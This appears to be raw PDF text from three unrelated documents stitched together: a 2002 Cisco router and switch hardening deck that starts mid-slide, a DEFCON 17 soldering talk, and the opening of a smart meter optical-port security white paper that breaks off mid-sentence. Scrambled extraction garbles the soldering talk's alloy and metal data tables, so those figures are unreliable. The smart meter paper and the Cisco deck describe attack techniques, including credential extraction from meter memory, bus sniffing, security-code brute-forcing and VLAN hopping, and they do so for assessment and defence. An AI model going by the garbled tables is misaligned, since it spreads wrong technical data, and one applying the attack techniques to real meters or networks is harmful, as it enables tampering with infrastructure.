2 partitioning (1) » The problem with VLANs > VLANs have never been designed for security but are used to enforce it > (Multi-layer) switches become single point of security failure > Do not use the (native) VLAN 1 » Do not use VMPS > VLAN Management Policy Server allows dynamic VLAN membership based on the MAC address © 2002 Sécurité.Org 14 set vlan 2 <mod/port> clear trunk <mod/port> 1 VLANs : Layer 2 partitioning (2) » VLAN jumping/hoping > Is possible : if you use DTP, if a port is in the same VLAN as the trunk’s port Native VLAN (inject 802.1q frames) > VLAN bridges allow bridging between VLANs for non-routed protocols » Private VLAN (6k, 4k) and port protected (29xx, 35xx) > Port isolation > Devices in the same VLAN can’t talk directly to each other © 2002 Sécurité.Org 15 Protocols : VTP » VLAN Trunking Protocol > Enables central VLAN configuration (Master/Client) > Message format : like CDP (SNAP HDLC 0x2003) > Communicates only over trunk ports » Attacks > Add/remove VLANs > Create STP loops » Security measures > Put your switches in transparent VTP mode and use a password set vtp domain <vtp.domain> password <password> set vtp mode transparent © 2002 Sécurité.Org 16 » Dynamic Trunking Protocol > Enables automatic port/trunk configuration > Message format : like CDP (SNAP HDLC 0x2004) > All switch ports are in auto mode by default » Attacks > 802.11q frames injection > VLAN hoping » Security measures > Turn DTP off on all the ports set trunk off all Protocols : DTP © 2002 Sécurité.Org 17 Protocols : HSRP/VRRP (1) » HSRP (Hot Standby Routing Protocol) > Provides next-hop redundancy (RFC2281) > Information disclosure : virtual MAC address - 00-00-0c-07-ac-<group> - (by default) the HSRP virtual interface doesn’t send ICMP redirects > You can have more than 2 routers in a standby group, no need to kill a router, becoming the master is enough » VRRP (Virtual Router Redundancy Protocol - RFC2338) > Supports MD5 for authentication (IP Authentication Header) © 2002 Sécurité.Org 18 interface xy standby 10 priority 200 preempt standby 10 authentication p4ssw0rd standby 10 ip x.x.x.x interface xy standby 10 mac-address <mac-address> Protocols : HSRP/VRRP (2) » Security measures > Use password authentication > Change the virtual MAC address > Use IPsec (“Cisco” recommendation) but is not trivial (multicast traffic, order of processing depending on IOS release, limited to a group of 2 routers) © 2002 Sécurité.Org 19 access-list 100 … debug ip packet detail 100 logging buffered 64000 debugging {tcpdump,snoop}ing on routers » What can be done with local output > Debug with ACLs > Always use the buffer and don’t debug to the console > Performance impact : check the router’s load with sh proc cpu » How to send to a remote device > Use a GRE tunnel to a remote host and inject the traffic back from there (tunnelx) © 2002 Sécurité.Org 20 ! MLS in hybrid mode set span <source (mod/port or VLAN)> <destination port> ! MLS in native mode monitor session <session id> ... set security acl capture-ports <mod/port> {tcpdump,snoop}ing on switches » No local output » How to send to a remote device > Mirror ports or a VLAN to another port > Can copy only designated traffic to be inspected (VACL w/ “capture” keyword) : > RSPAN dumps the traffic to a VLAN (needs end-to-end Cat6K) > 1 or 2 SPAN port(s) depending on the switch > Performance impact close to zero : check the CPU load with ps -c (hidden command) © 2002 Sécurité.Org 21 no ip bootp server no tcp-small-servers no udp-small-servers service time log datetime localtime show-timezone msec service time debug datetime localtime show-timezone msec logging x.x.x.x logging trap debugging logging source loopback0 logging buffered 64000 debugging ntp authentication-key 10 md5 <key> ntp authenticate ntp trusted-key 10 ntp server x.x.x.x [key 10] ntp access-group peer 20 access-list 20 permit host x.x.x.x access-list 20 deny any no service finger no service pad no ip http server no ip source-route no cdp run no boot network no service config no ip subnet-zero no ip identd no ip finger service nagle Configuration basics (1) » Turn off all the unneeded services » Use syslog » Use (authenticated) NTP © 2002 Sécurité.Org 22 interface xy no ip source-route no ip directed-broadcast no ip proxy-arp no ip redirects no ip unreachables ! IP accounting for the traffic that fails the IP ACLs ip accounting access-violations no ip mask-reply no cdp enable interface xy ! To prevent Auto-RP messages from entering the PIM domain ip multicast boundary 10 access-list 10 deny 224.0.1.39 access-list 10 deny 224.0.1.40 interface loopback0 ip address x.x.x.x 255.255.255.255 Configuration basics (2) » At the interface level » If multicast is used » Use loopbacks whenever possible © 2002 Sécurité.Org 23 Admin : SNMP (1) » Simple Network Management Protocol > v1 : RFC1157 uses community strings for authentication > v2 : RFC1441/1446 adds security (party) and get-bulk > v3 : RFC2274 adds integrity checking, encryption and user authentication » Known attacks/problems > Admins use RW communities for management > Weak communities > Replay and DoS attacks > Information leak > Auto-discovery feature of management tools that “send” your community out of your network range (to external parties) © 2002 Sécurité.Org 24 interface Ethernet0/0 access-group in 100 access-list 100 permit udp host 192.168.1.1 host 192.168.1.2 eq snmp access-list 100 permit udp host 192.168.1.2 eq snmp host 192.168.1.1 access-list 100 deny udp any any eq snmp log-input snmp-server community r3ad view cutdown RO 10 snmp-server community wr1te RW 10 snmp-server view cutdown ip.21 excluded snmp-server enable traps <…> snmp-server host x.x.x.x snmp-server source loopback0 access-list 10 permit x.x.x.x Admin : SNMP (2) » IP level filtering > Define an ACL and activate it on a per interface basis » Application level filtering > Define an ACL and use it for application access control > Use views to restrict the exposure © 2002 Sécurité.Org 25 Admin : SNMP (3) » SNMP v3 > Define a user/group and what the group can do » Two security advisories > The “hidden” ILMI community (show snmp community shows all communities) > Read-write community available with a read only access > SNMP-wide bug (ASN.1) snmp-server group engineering v3 priv read cutdown 10 snmp-server user nico engineering v3 auth md5 myp4ss priv des56 mydes56 snmp-server view cutdown ip.21 excluded access-list 10 permit x.x.x.x access-list 10 deny any log © 2002 Sécurité.Org 26 Admin : Secure Shell (1) » SSHv1 (client and server) support > Routers : as of 12.1(1)T/12.0(10)S (go for an image with 3DES), scp as of 12.2T > Switches : CatOS 6.x » What are the risks/limitations ? > Cisco’s implementation is based on SSH v1 and suffered from the same bugs : key recovery, CRC32, traffic analysis (SSHow), timing analysis and attacks > You can’t force 3DES only nor use keys > Fixed in 12.0(20)S, 12.1(8a)E, 12.2(3), ... © 2002 Sécurité.Org 27 hostname <hostname> ip domain-name <domainname> crypto key generate rsa ip ssh timeout 60 ip ssh authentication-retries 3 ip scp server enable Admin : Secure Shell (2) » SSH configuration » scp configuration © 2002 Sécurité.Org 28 Admin : IPsec (1) » IPsec configuration > Deny all traffic except IPsec related/decrypted > Define a SA (Security Association) : traffic to encrypt > Define an IKE policy interface xy ip address y.y.y.y 255.255.255.0 ip access-group 100 in access-list 100 permit udp host x.x.x.x host y.y.y.y eq 500 access-list 100 permit esp host x.x.x.x host y.y.y.y access-list 100 permit ahp host x.x.x.x host y.y.y.y access-list 100 permit ip <remoteLAN> <localLAN> access-list 110 permit ip x.x.x.x <wildcard> y.y.y.y <wildcard> crypto isakmp policy 1 hash md5 encryption 3des authentication pre-share ! DH group (1024 bits) group 2 crypto isakmp key <key> address y.y.y.y © 2002 Sécurité.Org 29 crypto ipsec transform-set 3desmd5 esp-3des esp-md5-hmac crypto map mycryptomap 10 ipsec-isakmp set peer y.y.y.y set transform-set 3desmd5 match address 110 interface xy crypto-map mycryptomap Admin : IPsec (2) » IPsec configuration > Define the transform-sets (tunnel mode is better, use transport with Win2K -- easier) > Put all together in a crypto-map > And affect it to an interface © 2002 Sécurité.Org 30 service password-encryption enable secret 5 <…> service tcp-keepalives-in line vty 0 4 exec-timeout 0 60 access-class 10 in transport input ssh transport output none transport preferred none access-list 10 permit x.x.x.x Admin : local users/passwords » Local users > Encryption type 7 is reversible, MD5 as of 12.1(8a)E » Enable secret > Use MD5 (type 5) » Access method > Remove telnet and enable SSH > Don’t forget the console and AUX port © 2002 Sécurité.Org 31 aaa new-model aaa authentication login default tacacs+ enable aaa authentication enable default tacacs+ enable aaa accounting exec default start-stop group tacacs+ ip tacacs source-interface loopback0 tacacs-server host x.x.x.x tacacs-server key K3y aaa accounting commands 15 default start-stop group tacacs+ AAA: Authentication / Accounting » Authentication/accounting : RADIUS/TACACS+ » Command accounting (TACACS+ only) © 2002 Sécurité.Org 32 privilege exec level 15 connect privilege exec level 15 telnet privilege exec level 15 ssh privilege exec level 15 rlogin privilege exec level 15 show logging privilege exec level 15 show [ip] access-lists username seeandgo privilege autocommand show running AAA: Authorization » Privilege levels > 1 (user EXEC “view only”) to 15 (privileged EXEC “enable”) > No intermediate levels on switches > Change the privilege level (reduces information disclosure and avoids a stepping stone) > A user can only see parts of the configuration he is allowed to change or gets a view-and-disconnect » Command authorization > Only supported with TACACS+ © 2002 Sécurité.Org 33 AAA: Kerberos (1) » Cisco Routers > Kerberized Telnet and password authentication using Kerberos (telnet, SSH and console) > Can map instance to Cisco privilege (locally defined) > Feature name : Kerberos V client support (Enterprise) > Not supported on all hardware (16xx, GSR, etc) » Cisco Switches > Telnet only (SSH available as of 6.1 but w/o Kerberos support) > At least SE Software Release 5.x > Only supported on Catalyst 4K, 5K and 6K/6500 (with SE I, not SE II) © 2002 Sécurité.Org 34 aaa authentication login default krb5-telnet local aaa authorization exec default krb5-instance kerberos local-realm COLT.CH kerberos srvtab entry host/... kerberos server COLT.CH 192.168.0.14 kerberos instance map engineering 15 kerberos instance map support 3 kerberos credentials forward line vty 0 4 ntp server 192.168.0.126 set kerberos local-realm COLT.CH set kerberos clients mandatory set kerberos credentials forward set kerberos server COLT.CH 192.168.0.82 88 set kerberos srvtab entry host/... set authentication login kerberos enable telnet primary set authentication enable kerberos enable telnet primary set ntp client enable set ntp server 192.168.0.11 AAA: Kerberos (2) » Kerberos on a router » Kerberos on a switch © 2002 Sécurité.Org 35 ACLs (1) » IP filtering with ACLs > Is not stateful and doesn’t do any reassembly > log-input also logs the source interface and the source MAC address > Only the first fragment is filtered (unless you use the fragment keyword) » Well known ACL types > Standard : source IP address only (1-99, 1300-1999) > Extended : limited to IP addresses, protocols, ports, ACK/RST (“established”) bit is set, etc. (100-199, 2000- 2699, “named” ACLs) © 2002 Sécurité.Org 36 ACLs (2) » Other “kinds” of ACLs > TurboACL : uses a hash table, benefits when 5+ ACEs > Reflexive : enables on-demand dynamic and temporary reply filters (doesn’t work for H.323 like protocols) > Dynamic : adds user authentication to Extended ACLs > Named : allows you to delete individual ACEs > Time-based : adds a time-range option > Context-Based Access-Control : “inspects” the protocol (helper/proxy/fixup-like), used in conjunction with ACLs > MAC : filters on MAC address (700-799 for standard, 1100- 1199 for extended) > Protocol : filters on protocol type (200-299) © 2002 Sécurité.Org 37 ACLs (3) » Example : Extended ACL on a router » ACLs on a Multi-Layer Switch > ACLs defined on Layer 3 (S/E/R/D) are pushed to the NMP (TCAM) > Traffic will not hit the MSCF if you don’t use log[-input], ip unreachables, TCP Intercept > VACLs (VLAN) : can filter IP level traffic and are pushed from the PFC to the switch no access-list 100 access-list 100 permit <…> access-list 100 deny tcp any range 1 65535 any range 0 65535 log access-list 100 deny udp any range 1 65535 any range 0 65535 log access-list 100 deny ip any any log-input © 2002 Sécurité.Org 38 Router integrity checking (1) » Four steps to build a tripwire-like for IOS/CatOS > 1. Store your routers and switches configurations in a central (trusted) repository (CVS for example) > 2. Get the configuration from the device (scripted telnet in Perl or expect, rsh, tftp, scp) or have the device send you the configuration (needs a RW SNMP access) > 3. Check : automatically (cron/at job), when you see “configured by <xyz>” or a router boot in the logfile or when you get the “configuration changed” SNMP trap snmpset -c <community> <routerIP> .1.3.6.1.4.1.9.2.1.55.<tftpserverIP> s <filename> © 2002 Sécurité.Org 39 Router integrity checking (2) » Four steps to build a tripwire-like for IOS/CatOS > 4. Diff the configuration with your own script or use CVS/Rancid » Limitations and details > You still have to trust the running IOS/CatOS (no Cisco “rootkit” yet) and your network (MITM attacks) > The configuration is transmitted in clear text over the network (unless you use scp or IPsec to encrypt the traffic) > Do not forget that there are two “files”: startup-config and running-config > Do the same for the IOS/CatOS images > Cisco MIBs : CISCO-CONFIG* © 2002 Sécurité.Org 40 “Inside Cisco IOS software architecture” - Cisco Press : - “In general, the IOS design emphasizes speed at the expense of extra fault protection” - “To minimize overhead, IOS does not employ virtual memory protection between processes” - “Everything, including the kernel, runs in user mode on the CPU and has full access to system resources” Router integrity checking (3) » Cisco IOS rootkit/BoF/FS : is it possible ? > Proprietary, closed source OS running on MIPS (newer models) or Mot68K (older models) > Closed source but “fork” from (BSD) Unix - (zlib/SNMP bugs :-) > ELF 32-bit MSB executable, statically linked, stripped > What is possible with remote gdb access : - gdb {kernel¦pid pid-num} ? > Is the ROMMON a good starting point (local gdb) ? © 2002 Sécurité.Org 41 Router integrity checking (4) » Cisco IOS rootkit/BoF/FS : open questions/issues > No (known) local tools/command to interact and “play” with the kernel, memory, processes, etc. > What can be done in enable engineer mode ? > Is it possible to upload a modified IOS image and start it without a reboot (like “Linux two kernel monte”) ? - by using dual RPs (Route Processors) - stateful in the future - by upgrading LCs only (Line Cards) > A lot of different images exist (but providers usually go for ~12.0(x)S) and a tool to patch images would be required - 37 feature sets and 2500 images out there (90% IP FS)! > What will happen with IOS-NG (support for loadable modules) ? - Is Cisco still working on it ? GSR dedicated team ? © 2002 Sécurité.Org 42 Router forensics (1) » Architecture and data flows Exports/Polling Stored locally Needs Flash (non-volatile) (D)RAM (volatile) Router - DHCP/BOOTP - (TFTP) Configuration - NTP clock sync. - Local or remote IOS image - (Running) IOS - running and startup-config - Running IOS & processes - Routing information - (Debug) log - History, etc. - Syslog - ACLs with log[-input] keyword (filter ACLs, uRPF, …) - “System” information (interface flaps, errors, BGP session flap/MD5 failure, configuration change) - SNMP traps/errors - AAA logs - Core dumps - Netflow accounting data - Routing protocol information - Scripted telnet/expect/Perl © 2002 Sécurité.Org 43 Router forensics (2) » Checking your remote logs and accounting data » Reading the flash card > ftp://ftp.bbc.co.uk/pub/ciscoflash/ » What to do before/after reboot ? > Local buffers/logs > Reboot with which config-register ? Normal or ROMMON ? » How to connect to the router ? > Telnet/SSH or local console ? © 2002 Sécurité.Org 44 Image: http://www.inforamp.net/~dredge/funkycomputercrowd.html That’s all folks :-) » Latest version of this document & presentation including tips/commands to secure routers (IOS) and switches (Cat(I)OS) » Questions ? < http://www.securite.org/presentations/secip/ >
pdf
DCFluX in: The Man with the Soldering Gun Presented By: Matt Krick, DCFluX – K3MK Chief Engineer, New West Broadcasting Systems, Inc. DEFCON 17 Las Vegas, NV Thursday July 30, 2009; 16:00 – 16:50 The following presentation has been edited to run in the time allotted. Hidden Agenda 1. Safety 2. Solder 3. FluX on: Flux 4. Soldering & Desoldering Tools 5. Soldering & Desoldering Demonstration 6. Editorial 1. Safety Recommended Safety Procedures • Safety Glasses or Face Shield • Non-Synthetic Clothes • Long Sleeves or Sleeve Extensions • Fume Extractor • Wash Hands After Touching Solder • Use Flexible Drinking Straws 1. Safety Don’t do what DCFluX does • Low quality solder • Solder in mouth • Small soldering iron • Burnt pinky finger • Breathing fumes • Synthetic blend pants • Soldering over ‘The Package’ 1. Safety Photo By: Martin Rudolph What is Solder? 2. Solder 1: a metal or metallic alloy used when melted to join metallic surfaces ; especially : an alloy of lead and tin so used http://www.merriam-webster.com/dictionary/solder • > 840°F = Soldering • 840° - 1200°F = Brazing • 1200 - 6000°F = Welding 2. Solder Soldering / Brazing / Welding 2. Solder http://www.oehha.ca.gov/prop65/prop65_list/files/P65single061909.pdf • Lead • Mercury • Cadmium • Hexavalent Chromium • Polybrominated Biphenyls • Polybrominated Diphenyl Ether RoHS: Reduction of Hazardous Substances 2. Solder Regular vs. Unleaded Larcan-TTC XLS-100MU Instruction Manual Lead is a soft metal that easily rubs off. Lead is poisonous and constant exposure is known to cause brain damage. 2. Solder Regular vs. Unleaded http://www.oehha.ca.gov/prop65/prop65_list/files/P65single061909.pdf • Substances known to cause cancer in the state of California – Lead – Cadmium – Beryllium Oxide – Ethyl Alcohol (alcoholic beverages) – Marijuana Smoke • Tin Plague (Tin Pest) 2. Solder Regular vs. Unleaded Photo By: DCFluX 2. Solder Regular vs. Unleaded Photos By: NASA and Tracey Hooker • Tin Whiskers • Tin Whisker Failures 2. Solder Regular vs. Unleaded Photos By: Boeing and Claremont Corporation • Tin Solder Failures 2. Solder Regular vs. Unleaded Photo By: Microsoft Corporation Excellent Good OMG! WTF? Platinum Gold Silver Tin Copper Beryllium- Copper Bronze Brass Lead Nickel Nickel-Silver Cadmium Palladium Rhodium 2. Solder Zinc Caron Steels Galvanized Steel Low-Alloy Steels Aluminum Chromium Titanium Tantalum Magnesium Cast Iron Stainless Steel Solderability of Metals Who makes Solder? • Kester • Multicore • American Iron and Metal (AIM) • MG Chemicals • Indium Corporation of America • American Tin and Solder 2. Solder Available forms of Solder • Wire – 0.015” – 0.200” • Bar – 1.66 lbs. • Paste – 2 oz. – 1 lb. • Spheres • Preforms 2. Solder Available forms of Solder • Through hole components & wire – Wire, 0.025” – 0.04”; Solder bath; Preforms • Surface mount technology (Visible) – Wire, 0.015”; Paste • Surface mount technology (Invisible) – Spheres • Copper pipe & plates – Wire, 0.125” 2. Solder Metals used in Solder & Electronics 14.2 μm 22.14 nΩ 1948° 1064° Gold - Au100 13.4 μm 1290 nΩ 521° 271° Bismuth - Bi100 32.1 μm 71.8 nΩ 314° 157° Indium - In100 30.2 μm 59.0 nΩ 787° 420° Zinc - Zn100 610° 1984° 1763° 1167° 621° 450° Melting °F 72.7 nΩ 17.24 nΩ 15.87 nΩ 417 nΩ 208 nΩ 115 nΩ Resistivity 30.8 μm 321° Cadmium - Cd100 28.9 μm 327° Lead - Pb100 11.0 μm 604° Antimony - Sb100 18.9 μm 962° Silver - Ag100 16.5 μm 1085° Copper - Cu100 22.0 μm 232° Tin - Sn100 Expansion Melting °C Regular Solder Alloys 600° - 700° 114 nΩ 354° - 372° 179° - 189° Sn62Pb36Ag2 565° - 574° 574° - 597° 514° - 576° 361° - 420° 361° - 374° 361° Melting °F 203 nΩ 196 nΩ 194 nΩ 158 nΩ 149 nΩ 205 nΩ Resistivity 800° - 900° 268° - 299° Sn10Pb88Ag2 600° - 700° 183° - 190° Sn60Pb40 600° - 700° 183° - 214° Sn50Pb50 700° - 900° 268° - 302° Sn10Pb90 800° - 900° 301° - 314° Sn5Pb95 600° - 700° 183° Sn63Pb37 Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium Unleaded Solder Alloys 700° - 800° 130 nΩ 422° - 430° 217° - 221° Sn95.5Ag3.8Cu0.7 440° 422° - 428° 430° 430° - 444° 450° - 464° 450° Melting °F 132 nΩ 133 nΩ 107 nΩ 123 nΩ 145 nΩ 115 nΩ Resistivity 700° - 800° 227° Sn99.3Cu0.7 700° - 900° 232° - 240° Sn95Sb5 700° - 800° 221° - 229° Sn96Ag4 700° - 800° 221° Sn96.5Ag3.5 700° - 800° 217° - 220° Sn96.5Ag3.0Cu0.5 700° - 800° 232° Sn100 Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium Zinc Solder Alloys 600° - 700° 115 nΩ 390° 199° Sn91Zn9 600° - 700° 376° - 388° 191° - 198° Sn89Zn8Bi3 347° - 428° 338° - 419° Melting °F Resistivity 600° - 800° 175° - 220° Sn40Pb58Zn2 600° - 800° 170° - 215° Sn45Pb53Zn2 Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium Low Heat Solder Alloys 500° - 600° 349° 176° Sn67.8Cd32.2 500° - 600° 359 nΩ 281° 138° Sn42Bi58 500° - 600° 74.9 nΩ 290° 143° In97Ag3 314° 279° - 282° 244° 280° - 338° Melting °F 71.8 nΩ 147 nΩ 345 nΩ Resistivity 500° 118° Sn48In52 500° - 600° 137° - 139° Sn 42Bi 57Ag 1.0 500° 157° In100 500° - 600° 138° - 170° Sn60Bi40 Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium Removal Alloys 500° 710 nΩ 136° 58° Sn12Pb18In21Bi49 500° 136° 58° (No Pb) Chip Quik ® Sn30Bi56In14 500° 136° 58° Chip Quik ® Sn18Pb28Cd11Bi43 Melting °F Resistivity Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium 700° - 800° 133 nΩ 422° - 428° 217° - 220° Sn96.5Ag3.0Cu0.5 440° 450° - 464° 361° - 420° 354° - 372° 361° - 374° 361° Melting °F 132 nΩ 145 nΩ 158 nΩ 114 nΩ 205 nΩ 149 nΩ Resistivity 700° - 800° 227° Sn99.3Cu0.7 600° - 700° 183° - 190° Sn60Pb40 600° - 700° 179° - 189° Sn62Pb36Ag2 600° - 700° 183° - 214° Sn50Pb50 700° - 900° 232° - 240° Sn95Sb5 600° - 700° 183° Sn63Pb37 Tip °F Melting °C Sn = Tin Pb = Lead Sb = Antimony Ag = Silver Cu = Copper Zn = Zinc Bi = Bismuth In = Indium Cd = Cadmium Solder Alloys You Will Actually Use What is Flux? 5: a substance used to promote fusion (as of metals or minerals) ; especially : one (as rosin) applied to surfaces to be joined by soldering, brazing, or welding to clean and free them from oxide and promote their union. http://www.merriam-webster.com/dictionary/flux 3. FluX on: Flux • Cleans the surfaces to be joined • Increases the flow of solder – Conducts heat to a degree • Prevents oxidation during soldering 3. FluX on: Flux What does Flux do? Available forms of Flux • Liquid – Rosin, No clean rosin – Water soluble (Inorganic) • Paste – Rosin – Acid • Cored Solder – Rosin, No clean rosin – Water soluble (Organic & Inorganic) – Acid 3. FluX on: Flux What is Rosin? 1: a translucent amber-colored to almost black brittle friable resin that is obtained from the oleoresin or deadwood of pine trees or from tall oil and used especially in making varnish http://www.merriam-webster.com/dictionary/rosin 3. FluX on: Flux Readily Available Flux 120°- 150°F Water - Organic ‘331’ (ORH1) - Mild Mild Mild Full Full Activation Neutralizer, Hot Water Acid ‘3350’ (INH1) Optional, Solvent Rosin ’48’ (ROM1) No Clean NC Rosin ‘245’ (ROL0) No Clean NC Rosin ‘275’ (ROL0) Optional, Solvent Rosin ‘285’ (ROL0) Solvent Rosin ‘44’ (ROM1) Cleaning Type Rosin Flux Solvents • Flux remover • Heavy duty Flux remover • Denatured alcohol • 50/50 Denatured alcohol and acetone • Rubbing alcohol • 50/50 Rubbing alcohol and unscented nail polish remover 3. FluX on: Flux Flux Removal Tools • Tooth brush • Cotton swab (Q-Tip) • Chamois cloth • Dental pick 3. FluX on: Flux 4. Soldering & Desoldering Tools Standard Issue POS 4. Soldering & Desoldering Tools Soldering Iron Photo By: Weller 4. Soldering & Desoldering Tools Soldering Stations Photos By: Weller 4. Soldering & Desoldering Tools Soldering Station Tips 4. Soldering & Desoldering Tools Portable Soldering Irons Photos By: Weller Don’t do what DCFluX does Photo By: DCFluX • Using a torch near ‘The Package’ 4. Soldering & Desoldering Tools 4. Soldering & Desoldering Tools Soldering Guns Photos By: Weller 4. Soldering & Desoldering Tools Hot Air Rework Stations Photos By: Weller 4. Soldering & Desoldering Tools Heat Guns Photos By: Weller 4. Soldering & Desoldering Tools Professional BGA Reflow Station Photo By: Weller 4. Soldering & Desoldering Tools Kitchen Top Reflow Station Left Photo By: Spark Fun Electronics What DCFluX uses 4. Soldering & Desoldering Tools 4. Soldering & Desoldering Tools Solder Suckers Photos By: Edsyn 4. Soldering & Desoldering Tools Solder Wick Photo By: Edsyn • Copper Braid – 0.025” – 1.5” – 5’ – 1000’ Rolls – Rosin, No clean rosin and Unfluxed Recommended Tools • Relieved head diagonal cutting pliers – Flush cut • Stainless steel tweezers & bulldogs • Hemostats • Metal IC remover • Sponge • 300-600 grit sand paper • Pencil with eraser 4. Soldering & Desoldering Tools Preparation Soldering Completion Clean surface of oxidation and or apply Flux if necessary Apply heat to work Allow work to come to temperature Apply solder to work Allow solder joint to cool down Clean Flux Residue Inspect quality of joint 5. Soldering & Desoldering Demonstration Soldering Process Diagram Cyanoacrylate Does Not Conduct Photos By: Super Glue Corp. and Krazy Glue 6. Editorial Aluminum solder doesn’t work for me Photos By: BernzOMatic and Solder-It Co. 6. Editorial Aluminum + Electricity = Evil Photo By: DCFluX 6. Editorial CADWELD® is awesome Photo By: DCFluX 6. Editorial This thing sucks Photo By: Ilikefood 6. Editorial This thing too Photo By: Weller 6. Editorial Photo By: GetLoFi.com 6. Editorial A good way to blow up your USB ports Cheap and effective Photo By: Radio Shack 6. Editorial Amateur Dentist™ Hobby Kit Photo By: Radio Shack 6. Editorial This is still a POS 6. Editorial Questions? matt@kgmn.net Track 2 Q&A Room DCFluX in: The Man with the Soldering Gun DCFluX will return in: Moonbouncer Photos By: CSIRO and NASA
pdf
OPTIGUARD: A SMART METER ASSESSMENT TOOLKIT July 14, 2012 Presented by: INGUARDIANS, INC. Don C. Weber, Senior Security Analyst don@inguardians.com White Paper OptiGuard: A Smart Meter Assessment Toolkit 2 July 14, 2012 Copyright 2012 InGuardians, Inc. TABLE OF CONTENTS 1.0 Role of Smart Meters_________________________________________________ 3 2.0 Risk Presented by the Optical Port ______________________________________ 4 3.0 OptiGuard _________________________________________________________ 7 4.0 Optical Port Risk Mitigations __________________________________________ 10 5.0 Conclusion _______________________________________________________ 11 6.0 Acknowledgements _________________________________________________ 12 OptiGuard: A Smart Meter Assessment Toolkit 3 July 14, 2012 Copyright 2012 InGuardians, Inc. 1.0 ROLE OF SMART METERS The meter portion of the electrical grids throughout the world is swiftly being converted to Smart Meters. The news is littered with public disclosures of smart meter sales and implementations.1 Smart Meters, one of the primary components of a utility's Advanced Metering Infrastructure (AMI), play an important role to improving the stability, efficiency, and reliability of the new, smarter electrical grid. Smart Meters accomplish this by providing utilities with accurate, real-time and historical, consumption data. Smart Meters also put in place mechanisms to manage the stability of the grid. They do this by controlling demand with the assistance of their customers. In a world where the demand for electricity is rapidly increasing,2 the Smart Meter offers one method to provide better management and ensure peak load reductions.3 As with all new technologies, Smart Meters are still being evaluated for security risks. For years utilities have been heavily dependent on the stability and resilience of the hardware that comprises their infrastructure. It is not unheard of for electrical equipment to have a forty-year-plus lifespan4 with twenty years being the "rule-of-thumb" industry standard to even be considered for deployment – the first round of Smart Meters was built with this stability in mind. The hardware engineers focused on reliability issues rather than the impact these design considerations would have on the whole of the AMI implementation. If Smart Meters only measured and stored data more accurately, security might not be such a concern. However, remote data collection, monitoring, configuration, and troubleshooting goals lead to Smart Meters which include two-way communications. Inclusion of these communication features lead to the installation of components and information that can be abused. The components added to Smart Meters include microcontrollers, data storage, and radios. Outfitting Smart Meters with these capabilities also provides a direct connection from publicly accessible devices to the internal components of the AMI deployment. As the capabilities and access to additional resources and data increased, so has the risk that amateur hardware enthusiasts and criminals will become interested in these devices. Thus, the race to secure Smart Meters from unauthorized manipulation of the hardware and communications has begun. 1 Conduct an Internet Search for "smart meter deployment 2012" 2 http://energybulletin.net/stories/2012-03-16/world-energy-consumption-1820-charts 3 http://energy.gov/node/263269 4 http://www.transformerlife.com.au/transformer-breakdown.php OptiGuard: A Smart Meter Assessment Toolkit 4 July 14, 2012 Copyright 2012 InGuardians, Inc. 2.0 RISK PRESENTED BY THE OPTICAL PORT The purpose of the optical port on a Smart Meter is to provide a utility’s field technicians with a method to directly manage individual meters. This capability is necessary numerous reasons, all of which relate to the need for a utility to achieve its primary goal: reliability. Optical ports provide an easy, tested, and safe method for field technicians to interact with these electrified components during a wide variety of field conditions (i.e. extreme heat/cold, high winds, torrential rains). To successfully interact with a Smart Meter's optical port, attackers and security researchers must gain access to the maintenance software provided by the meter's vendor or develop specialized software. In either case, successful interaction with a Smart Meter will first require authentication credentials. Smart meters are complicated devices that contain several different components where authentication information can potentially be extracted. Microcontroller firmware, memory components, and the interactions between those components all contain information necessary for communicating to and from the meter. This information includes the authentication credentials necessary for interacting with the meter's optical port. On January 5, 2009 InGuardians, as a member of the AMI Security Acceleration Project Red Team released the AMI Attack Methodology. This methodology, updated to version two (2) on March 1, 2011, outlined several methods that attackers and security researchers will use to extract information from the hardware components installed in Smart Meters and other embedded devices. The material outlined in this methodology was not new information. This white paper merely consolidated the knowledge involved with analyzing embedded devices and their supporting components. Valuable data can frequently be extracted from Smart Meters by simply following the steps outlined in the AMI Attack Methodology. The following images are examples of data being extracted from Smart Meter components. Figure 1 demonstrates the method commonly used in order to extract memory from Inter- Integrated Circuit (I2C) EEPROM components. Figure 2 demonstrates a method commonly used for extracting memory from NAND Flash and other Ball Grid Array (BGA) components. Figure 1Extracting EEPROM Data Using Total Phase Aardvark Figure 2 Extracting NAND Flash Data using a XELTEK SuperPro 5000 OptiGuard: A Smart Meter Assessment Toolkit 5 July 14, 2012 Copyright 2012 InGuardians, Inc. Dumping dumped from these memory components and understanding where the significant information is located are two completely separate issues. Having a prior knowledge of where the data (i.e. security codes and encryption keys) is located can help. This requires initially locating data to use for comparison. Several methods for generating long lists of possible security codes and encryption keys may help in locating this sensitive information. However, this method requires brute force authentication actions to positively identify useful data. These actions can (and should) be detected by proper logging methods. Other methods, such as component-to-component bus monitoring can be used to detect security codes and encryption keys while they are being used by the Smart Meter. Monitoring communications between components can significantly narrow down the time required to identify this information. Figure 3 is an example of a Smart Meter that has been tapped to detect the signals passing between components. This setup also provides a means for sending signals to individual components in order to elicit responses or respond to requests by the tapped components. Figure 3 Bus Sniffing and Man-In-The-Middle Attack In the case that authentication credentials or encryption keys cannot be obtained using hardware extraction methods, an attacker can fall back to time-consuming brute-force methods. If generated properly, security codes implemented by Smart Meters will make straight brute forcing nearly impossible due to the enormous time required to iterate through all of the possible combinations of the twenty byte security code. However, security code dictionaries can be generated with common vendor names, utility names, and the vendor’s default Smart Meter passwords to narrow the field of possibilities. Once a Smart Meter’s security code has been identified, communicating with the meter via the Optical Port requires only having the proper software and equipment. Every Smart Meter vendor has a different and specific software package to manage the meter via the optical port. An Optical Probe, such as the one shown in Figure 4, is frequently used to connect field devices and laptops to meters in order to gather information or make configuration modifications. These Optical Probes may vary slightly between meter vendors, but all of the different styles are readily accessible from supply companies on the Internet. OptiGuard: A Smart Meter Assessment Toolkit 6 July 14, 